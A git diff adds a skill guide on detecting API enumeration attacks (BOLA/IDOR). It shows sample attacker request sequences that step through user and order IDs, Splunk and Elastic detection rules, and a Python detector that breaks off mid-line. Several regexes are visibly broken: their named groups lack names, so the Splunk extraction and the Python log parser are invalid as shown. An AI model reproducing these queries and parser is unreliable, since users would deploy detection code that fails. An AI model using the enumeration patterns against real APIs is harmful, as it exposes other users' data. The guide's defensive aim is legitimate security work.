a/skills/detecting-api-enumeration-attacks/SKILL.md b/skills/detecting-api-enumeration-attacks/SKILL.md new file mode 100644 index 00000000..fc7a5233 --- /dev/null +++ b/skills/detecting-api-enumeration-attacks/SKILL.md @@ -0,0 +1,399 @@ +--- +name: detecting-api-enumeration-attacks +description: Detect and prevent API enumeration attacks including BOLA and IDOR exploitation by monitoring sequential identifier access patterns and authorization failures. +domain: cybersecurity +subdomain: api-security +tags: [api-security, enumeration, bola, idor, broken-object-level-authorization, owasp-api-top-10, access-control, rate-limiting] +version: "1.0" +author: mahipal +license: MIT +--- + +# Detecting API Enumeration Attacks + +## Overview + +API enumeration attacks occur when attackers systematically probe API endpoints with sequential or predictable identifiers to discover and access unauthorized resources. Broken Object Level Authorization (BOLA), ranked as API1:2023 in the OWASP API Security Top 10, is the most critical API vulnerability. Attackers manipulate object identifiers (user IDs, order numbers, account references) in API requests to bypass authorization and access other users' data. Detection requires monitoring for patterns of rapid sequential access attempts, authorization failures, and abnormal API usage behavior. + +## Prerequisites + +- API gateway or reverse proxy with logging enabled (Kong, AWS API Gateway, Apigee) +- SIEM platform (Splunk, Elastic SIEM, or Microsoft Sentinel) +- Access to API server logs with request details +- Web Application Firewall (WAF) with API protection capabilities +- Understanding of the API's authorization model and object identifier schemes + +## Attack Patterns to Detect + +### 1. Sequential ID Enumeration + +Attackers iterate through numeric or predictable identifiers: + +``` +GET /api/v1/users/1001 -> 200 OK +GET /api/v1/users/1002 -> 200 OK +GET /api/v1/users/1003 -> 403 Forbidden +GET /api/v1/users/1004 -> 200 OK +GET /api/v1/users/1005 -> 200 OK +... +``` + +**Detection Indicators:** +- Rapid sequential requests to the same endpoint with incrementing IDs +- Mix of 200/403/401 responses from same source +- Request rate exceeding normal user behavior +- Access to resources outside authenticated user's scope + +### 2. UUID/GUID Enumeration + +Even non-sequential identifiers can be enumerated if leaked through other endpoints: + +``` +# Attacker first harvests UUIDs from a list endpoint +GET /api/v1/posts?page=1 -> Returns post objects with author UUIDs + +# Then uses those UUIDs to access restricted user data +GET /api/v1/users/a3f2c1e4-... -> Private user profile +GET /api/v1/users/b7d9e8f1-... -> Private user profile +``` + +### 3. Parameter Tampering Enumeration + +``` +# Authenticated as user_id=100, attempting to access other users' orders +GET /api/v1/orders?user_id=101 +GET /api/v1/orders?user_id=102 +GET /api/v1/orders?user_id=103 +``` + +## Detection Rules + +### Splunk Detection Queries + +```spl +# Detect sequential ID enumeration on API endpoints +index=api_logs sourcetype=api_access +| rex field=uri_path "(?/api/v\d+/\w+/)(?\d+)" +| stats count as request_count, + dc(object_id) as unique_ids, + values(status_code) as status_codes, + min(_time) as first_seen, + max(_time) as last_seen + by src_ip, endpoint, user_session +| eval time_span = last_seen - first_seen +| eval requests_per_second = request_count / max(time_span, 1) +| where unique_ids > 20 AND requests_per_second > 2 +| eval severity = case( + unique_ids > 100, "critical", + unique_ids > 50, "high", + unique_ids > 20, "medium", + 1==1, "low" + ) +| sort - unique_ids +| table src_ip, endpoint, unique_ids, request_count, requests_per_second, + status_codes, severity + +# Detect BOLA via authorization failure patterns +index=api_logs sourcetype=api_access status_code IN (401, 403) +| bin _time span=5m +| stats count as failure_count, + dc(uri_path) as unique_paths, + values(uri_path) as attempted_paths + by _time, src_ip, user_id +| where failure_count > 10 +| eval attack_type = if(unique_paths > 5, "enumeration", "brute_force") +``` + +### Elastic SIEM Detection Rules + +```json +{ + "rule": { + "name": "API Object Enumeration Detection", + "description": "Detects rapid sequential access to API objects with mixed authorization results", + "type": "threshold", + "index": ["api-access-*"], + "query": { + "bool": { + "must": [ + { "regexp": { "url.path": "/api/v[0-9]+/[a-z]+/[0-9]+" } } + ], + "should": [ + { "term": { "http.response.status_code": 200 } }, + { "term": { "http.response.status_code": 403 } }, + { "term": { "http.response.status_code": 401 } } + ] + } + }, + "threshold": { + "field": ["source.ip"], + "value": 50, + "cardinality": [ + { "field": "url.path", "value": 20 } + ] + }, + "schedule": { "interval": "5m" }, + "severity": "high", + "risk_score": 73, + "tags": ["OWASP-API1", "BOLA", "Enumeration"] + } +} +``` + +### Custom Detection Script + +```python +#!/usr/bin/env python3 +"""API Enumeration Attack Detector + +Analyzes API access logs to detect enumeration patterns +including BOLA, IDOR, and sequential ID probing. +""" + +import re +import sys +import json +from collections import defaultdict +from datetime import datetime, timedelta +from dataclasses import dataclass, field +from typing import List, Dict, Optional + +@dataclass +class AccessRecord: + timestamp: datetime + source_ip: str + user_id: Optional[str] + method: str + path: str + status_code: int + object_id: Optional[str] = None + +@dataclass +class EnumerationAlert: + source_ip: str + user_id: Optional[str] + endpoint_pattern: str + unique_object_ids: int + total_requests: int + time_window_seconds: float + requests_per_second: float + auth_failure_ratio: float + severity: str + attack_type: str + sample_ids: List[str] = field(default_factory=list) + +class EnumerationDetector: + # Regex patterns for extracting object IDs from API paths + ID_PATTERNS = [ + re.compile(r'/api/v\d+/(\w+)/(\d+)'), # Numeric IDs + re.compile(r'/api/v\d+/(\w+)/([a-f0-9\-]{36})'), # UUIDs + re.compile(r'/api/v\d+/(\w+)/([a-zA-Z0-9]{20,})'), # Long alphanumeric IDs + ] + + def __init__(self, time_window_minutes: int = 5, + min_unique_ids: int = 15, + max_requests_per_second: float = 5.0): + self.time_window = timedelta(minutes=time_window_minutes) + self.min_unique_ids = min_unique_ids + self.max_rps = max_requests_per_second + self.access_log: List[AccessRecord] = [] + + def parse_log_line(self, line: str) -> Optional[AccessRecord]: + """Parse a common log format line into an AccessRecord.""" + log_pattern = re.compile( + r'(?P[\d.]+)\s+\S+\s+(?P\S+)\s+' + r'\[(?P